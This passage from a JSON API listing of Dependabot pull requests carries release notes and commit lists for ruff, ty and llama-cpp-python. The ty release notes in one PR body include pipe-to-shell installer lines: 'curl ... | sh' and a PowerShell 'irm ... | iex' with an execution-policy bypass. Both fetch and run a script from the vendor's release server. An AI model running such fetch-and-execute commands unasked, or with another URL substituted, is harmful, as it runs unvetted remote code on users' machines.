href=\"https://redirect.github.com/astral-sh/ruff/issues/25606\"\u003e#25606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/bf80d05f007c939799f530c9e775ed9449f5b2eb\"\u003e\u003ccode\u003ebf80d05\u003c/code\u003e\u003c/a\u003e Fix CODEOWNERS syntax (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25622\"\u003e#25622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/10ccd511e94a81d1e836b174f1c553a73ff3f1b3\"\u003e\u003ccode\u003e10ccd51\u003c/code\u003e\u003c/a\u003e Shrink additional parser AST collections (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25465\"\u003e#25465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/0d7135f4d23e7f4d8404daed16b9ef11d14f3fb9\"\u003e\u003ccode\u003e0d7135f\u003c/code\u003e\u003c/a\u003e [ty] Upgrade Salsa (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25545\"\u003e#25545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/49493a3cea83a08fa9aa143695017c816a540f1d\"\u003e\u003ccode\u003e49493a3\u003c/code\u003e\u003c/a\u003e [ty] Show type alias value on hover (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25381\"\u003e#25381\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/85207d3b7657a84252f266766cb0d56034dc21cc\"\u003e\u003ccode\u003e85207d3\u003c/code\u003e\u003c/a\u003e [ty] sys.implementation.version is not sys.version_info (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25608\"\u003e#25608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/a8a0614348c1fcf47fc9b666eff61a103914d520\"\u003e\u003ccode\u003ea8a0614\u003c/code\u003e\u003c/a\u003e [ty] Avoid retaining duplicate function signatures (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25609\"\u003e#25609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/astral-sh/ruff/compare/0.15.12...0.15.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ty` from 0.0.34 to 0.0.44\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/releases\"\u003ety's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.44\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid treating \u003ccode\u003esys.implementation.version\u003c/code\u003e like \u003ccode\u003esys.version_info\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25608\"\u003e#25608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix anchor point for override diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25621\"\u003e#25621\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow type alias value on hover (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25381\"\u003e#25381\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd caching for pattern match narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25613\"\u003e#25613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompact retained definition and expression identities (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25606\"\u003e#25606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReuse expression cache for TypedDict union inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25643\"\u003e#25643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade Salsa (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25545\"\u003e#25545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEnable narrowing for unions of TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25188\"\u003e#25188\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lerebear\"\u003e\u003ccode\u003e@​lerebear\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/carljm\"\u003e\u003ccode\u003e@​carljm\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pierrem964\"\u003e\u003ccode\u003e@​pierrem964\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Hugo-Polloli\"\u003e\u003ccode\u003e@​Hugo-Polloli\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eInstall ty 0.0.44\u003c/h2\u003e\n\u003ch3\u003eInstall prebuilt binaries via shell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003ecurl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/ty/releases/download/0.0.44/ty-installer.sh | sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eInstall prebuilt binaries via powershell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003epowershell -ExecutionPolicy Bypass -c \u0026quot;irm https://releases.astral.sh/github/ty/releases/download/0.0.44/ty-installer.ps1 | iex\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eDownload ty 0.0.44\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/blob/main/CHANGELOG.md\"\u003ety's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.44\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid treating \u003ccode\u003esys.implementation.version\u003c/code\u003e like \u003ccode\u003esys.version_info\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25608\"\u003e#25608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix anchor point for override diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25621\"\u003e#25621\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow type alias value on hover (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25381\"\u003e#25381\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd caching for pattern match narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25613\"\u003e#25613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompact retained definition and expression identities (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25606\"\u003e#25606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReuse expression cache for TypedDict union inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25643\"\u003e#25643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade Salsa (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25545\"\u003e#25545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEnable narrowing for unions of TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25188\"\u003e#25188\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lerebear\"\u003e\u003ccode\u003e@​lerebear\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/carljm\"\u003e\u003ccode\u003e@​carljm\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pierrem964\"\u003e\u003ccode\u003e@​pierrem964\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Hugo-Polloli\"\u003e\u003ccode\u003e@​Hugo-Polloli\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.0.43\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-03.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't inject \u003ccode\u003eUnknown\u003c/code\u003e from non-callable elements of intersection call (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25538\"\u003e#25538\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDon't needlessly disambiguate the same type alias (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25563\"\u003e#25563\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix variance inference for nested type aliases (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25567\"\u003e#25567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIgnore rejected member annotations for synthesized bindings (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25427\"\u003e#25427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNormalize dynamic class literals in cycle recovery (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25558\"\u003e#25558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRegister file roots for first-party search paths (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25522\"\u003e#25522\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTreat union-bound typevars like unions for \u003ccode\u003epossibly-missing-attribute\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25561\"\u003e#25561\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSuppress importable completions that are already in scope (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25479\"\u003e#25479\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/f5523e256eb275c9b473f174aedc383e7b050c34\"\u003e\u003ccode\u003ef5523e2\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.44 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3667\"\u003e#3667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/29ce3146faa2d42867dadd7ecbda84759b8183be\"\u003e\u003ccode\u003e29ce314\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.43 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3648\"\u003e#3648\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/794322d34624abc56301bd85ac354b94ca54fbb2\"\u003e\u003ccode\u003e794322d\u003c/code\u003e\u003c/a\u003e Update docker/build-push-action action to v7.2.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3629\"\u003e#3629\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/ce89685310383494c7dfec92bd2fc2dd2a46d074\"\u003e\u003ccode\u003ece89685\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3628\"\u003e#3628\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/792fb71ca172f8d67fcfdb5fdd452a049724c8fd\"\u003e\u003ccode\u003e792fb71\u003c/code\u003e\u003c/a\u003e Update docker/login-action action to v4.2.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3630\"\u003e#3630\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/5c377476823a4b77a903fb5340d77b51d68db389\"\u003e\u003ccode\u003e5c37747\u003c/code\u003e\u003c/a\u003e Update docker/metadata-action action to v6.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3631\"\u003e#3631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/5a3e1695ce1e2205070afc18d9a7449e0ed045d0\"\u003e\u003ccode\u003e5a3e169\u003c/code\u003e\u003c/a\u003e Update docker/setup-buildx-action action to v4.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3632\"\u003e#3632\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/c2500cc57e4aea85ae8e3287351538ad60a9ee00\"\u003e\u003ccode\u003ec2500cc\u003c/code\u003e\u003c/a\u003e Release: Force usage of PyPI as the index (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3616\"\u003e#3616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/7f8cb6457e8d77178ae9204f9b81a516f44444ed\"\u003e\u003ccode\u003e7f8cb64\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.42 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3615\"\u003e#3615\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/41bb0d24412ad97c214bd0019e602c463ae3feba\"\u003e\u003ccode\u003e41bb0d2\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.41 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3601\"\u003e#3601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/astral-sh/ty/compare/0.0.34...0.0.44\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/yuyash/neural-trace/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuyash%2Fneural-trace/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"},{"uuid":"4575588082","node_id":"PR_kwDORmlZ1c7iAD6y","number":10,"state":"open","title":"deps(deps): bump llama-cpp-python from 0.3.16 to 0.3.25 in the production-dependencies group across 1 directory","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-02T23:07:09.000Z","updated_at":"2026-06-02T23:07:09.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.16","new_version":"0.3.25","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":"the production-dependencies group across 1 directory","ecosystem":"pip"},"body":"Bumps the production-dependencies group with 1 update in the / directory: [llama-cpp-python](https://github.com/abetlen/llama-cpp-python).\n\nUpdates `llama-cpp-python` from 0.3.16 to 0.3.25\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.25]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@210a6570c by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2242\"\u003e#2242\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Gemma 4 multimodal chat support by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2241\"\u003e#2241\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 13.0 and 13.2 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2239\"\u003e#2239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 11.8 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2238\"\u003e#2238\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): add Pascal compute capability targets to CUDA wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2237\"\u003e#2237\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.24]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update ROCm install instructions by \u003ca href=\"https://github.com/agronholm\"\u003e\u003ccode\u003e@​agronholm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: clear prompt for recurrent / hybrid models when only a partial prefix matches by \u003ca href=\"https://github.com/avion23\"\u003e\u003ccode\u003e@​avion23\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2108\"\u003e#2108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: match Transformers \u003ccode\u003etojson\u003c/code\u003e in chat template rendering by \u003ca href=\"https://github.com/CISC\"\u003e\u003ccode\u003e@​CISC\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1486\"\u003e#1486\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: use env var configured multimodal library override paths when loading shared libraries by \u003ca href=\"https://github.com/navratil-matej\"\u003e\u003ccode\u003e@​navratil-matej\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1782\"\u003e#1782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Jinja2 loop controls to chat templates by \u003ca href=\"https://github.com/handshape\"\u003e\u003ccode\u003e@​handshape\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2018\"\u003e#2018\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid cleanup errors for partially initialized \u003ccode\u003eLlamaModel\u003c/code\u003e objects by \u003ca href=\"https://github.com/usernames122\"\u003e\u003ccode\u003e@​usernames122\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2173\"\u003e#2173\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: suppress stdout and stderr in Jupyter notebooks by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2181\"\u003e#2181\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: enable arm64 musl builds by \u003ca href=\"https://github.com/acon96\"\u003e\u003ccode\u003e@​acon96\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2221\"\u003e#2221\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@af6528e6d\u003c/li\u003e\n\u003cli\u003efix: model fails to load when chat template uses HuggingFace generation tags by \u003ca href=\"https://github.com/tobocop2\"\u003e\u003ccode\u003e@​tobocop2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2226\"\u003e#2226\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add contributing guide by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2229\"\u003e#2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Migrate llama.cpp submodule URL to ggml-org/llama.cpp by \u003ca href=\"https://github.com/shalinib-ibm\"\u003e\u003ccode\u003e@​shalinib-ibm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2034\"\u003e#2034\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Enable unified KV cache for embedding contexts to preserve full per-sequence context in batch embedding calls by \u003ca href=\"https://github.com/SanjanaB123\"\u003e\u003ccode\u003e@​SanjanaB123\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2217\"\u003e#2217\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.21]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f53577432 and sync Python bindings\u003c/li\u003e\n\u003cli\u003efix(ci): Build one arm64 release wheel for \u003ccode\u003epy3-none\u003c/code\u003e wheel publishing\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f1bfa117410fbd75ad6a2345a65cdf9b17205c19\"\u003e\u003ccode\u003ef1bfa11\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.25 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2243\"\u003e#2243\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 